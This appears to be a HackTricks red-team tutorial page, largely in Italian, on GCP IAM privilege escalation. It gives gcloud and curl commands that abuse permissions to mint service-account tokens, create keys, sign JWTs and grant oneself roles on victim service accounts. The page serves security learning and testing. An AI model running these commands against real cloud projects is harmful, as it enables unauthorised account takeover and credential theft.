GCP - IAM Privesc

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

IAM

Trova più informazioni su IAM in:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Un attacker con le autorizzazioni menzionate sarà in grado di aggiornare un ruolo assegnato a te e concederti autorizzazioni aggiuntive su altre risorse come:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Puoi trovare uno script per automatizzare la creazione, exploit e pulizia di un vuln environment qui e uno script python per abusare di questo privilegio here. Per maggiori informazioni consulta la original research.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

Il permesso iam.roles.create permette la creazione di ruoli personalizzati in un progetto/organizzazione. Nelle mani di un attaccante, questo è pericoloso perché gli consente di definire nuovi insiemi di permessi che possono poi essere assegnati ad entità (per esempio, usando il permesso iam.serviceAccounts.setIamPolicy) con l’obiettivo di ottenere privilegi più elevati.

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Un attaccante con le autorizzazioni menzionate potrà richiedere un token di accesso appartenente a un Service Account, quindi è possibile richiedere un token di accesso di un Service Account con privilegi maggiori dei nostri.

Per una variante resource-driven in cui codice controllato dall’attaccante ruba un managed Vertex AI Agent Engine runtime token dal metadata service e lo riutilizza come Vertex AI service agent, consulta:

GCP - Vertex AI Post Exploitation

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

Puoi trovare uno script per automatizzare la creation, exploit and cleaning of a vuln environment here e uno script python per abusare di questo privilegio here. Per maggiori informazioni consulta la original research.

iam.serviceAccountKeys.create

Un attacker con le autorizzazioni menzionate sarà in grado di creare una chiave gestita dall’utente per un Service Account, che ci permetterà di accedere a GCP come quel Service Account.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

Nota che iam.serviceAccountKeys.update non funzionerà per modificare la chiave di un SA perché per farlo è anche necessario il permesso iam.serviceAccountKeys.create.

iam.serviceAccounts.implicitDelegation

Se hai il permesso iam.serviceAccounts.implicitDelegation su un Service Account che ha il permesso iam.serviceAccounts.getAccessToken su un terzo Service Account, allora puoi usare implicitDelegation per creare un token per quel terzo Service Account. Qui c’è un diagramma per aiutare a spiegare.

Nota che, secondo la documentation, la delega di gcloud funziona solo per generare un token usando il metodo generateAccessToken(). Quindi qui trovi come ottenere un token usando l’API direttamente:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

Puoi trovare uno script per automatizzare la creazione, lo sfruttamento e la pulizia di un ambiente vulnerabile qui e uno script python per abusare di questo privilegio qui. Per maggiori informazioni consulta la ricerca originale.

iam.serviceAccounts.signBlob

Un attaccante con i permessi menzionati sarà in grado di firmare payload arbitrari in GCP. Quindi sarà possibile creare un JWT non firmato del SA e poi inviarlo come blob per far firmare il JWT dall’SA che stiamo prendendo di mira. Per maggiori informazioni leggi questo.

Puoi trovare uno script per automatizzare la creazione, lo sfruttamento e la pulizia di un ambiente vulnerabile qui e uno script python per abusare di questo privilegio qui e qui. Per maggiori informazioni consulta la ricerca originale.

iam.serviceAccounts.signJwt

Un attaccante con i permessi menzionati sarà in grado di firmare JSON web tokens (JWTs) ben formati. La differenza con il metodo precedente è che invece di far firmare a google un blob che contiene un JWT, usiamo il metodo signJWT che si aspetta già un JWT. Questo lo rende più semplice da usare ma puoi firmare solo JWT invece di qualsiasi sequenza di byte.

Puoi trovare uno script per automatizzare la creazione, lo sfruttamento e la pulizia di un ambiente vulnerabile qui e uno script python per abusare di questo privilegio qui. Per maggiori informazioni consulta la ricerca originale.

iam.serviceAccounts.setIamPolicy

Un attaccante con i permessi menzionati sarà in grado di aggiungere policy IAM ai service account. Puoi abusarne per assegnarti i permessi necessari per impersonare il service account. Nel seguente esempio ci stiamo assegnando il ruolo roles/iam.serviceAccountTokenCreator sull’SA di interesse:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

Puoi trovare uno script per automatizzare la creazione, exploit e pulizia di un ambiente vuln qui.

iam.serviceAccounts.actAs

La iam.serviceAccounts.actAs permission è simile alla iam:PassRole permission from AWS. È essenziale per eseguire attività, come l’avvio di un’istanza Compute Engine, poiché concede la possibilità di “actAs” un Service Account, garantendo una gestione sicura dei permessi. Senza questo, gli utenti potrebbero ottenere accessi indebiti. Inoltre, sfruttare la iam.serviceAccounts.actAs comporta vari metodi, ognuno dei quali richiede un insieme di permissions, in contrasto con altri metodi che ne richiedono solo uno.

Service account impersonation

Impersonating a service account può essere molto utile per ottenere privilegi nuovi e migliori. Ci sono tre modi in cui puoi impersonate another service account:

  • Autenticazione using RSA private keys (coperto sopra)
  • Autorizzazione using Cloud IAM policies (coperto qui)
  • Deploying jobs on GCP services (più applicabile al compromesso di un account utente)

iam.serviceAccounts.getOpenIdToken

Un attacker con le permissions menzionate sarà in grado di generare un OpenID JWT. Questi vengono usati per attestare l’identità e non necessariamente portano alcuna autorizzazione implicita su una risorsa.

Secondo questo post interessante, è necessario indicare l’audience (il servizio in cui si vuole usare il token per autenticarsi) e si riceverà un JWT firmato da google che indica il service account e l’audience del JWT.

Puoi generare un OpenIDToken (se hai accesso) con:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Quindi puoi semplicemente usarlo per accedere al servizio con:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Alcuni servizi che supportano l’autenticazione tramite questo tipo di token sono:

Puoi trovare un esempio su come creare un OpenID token per conto di un service account here.

References

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks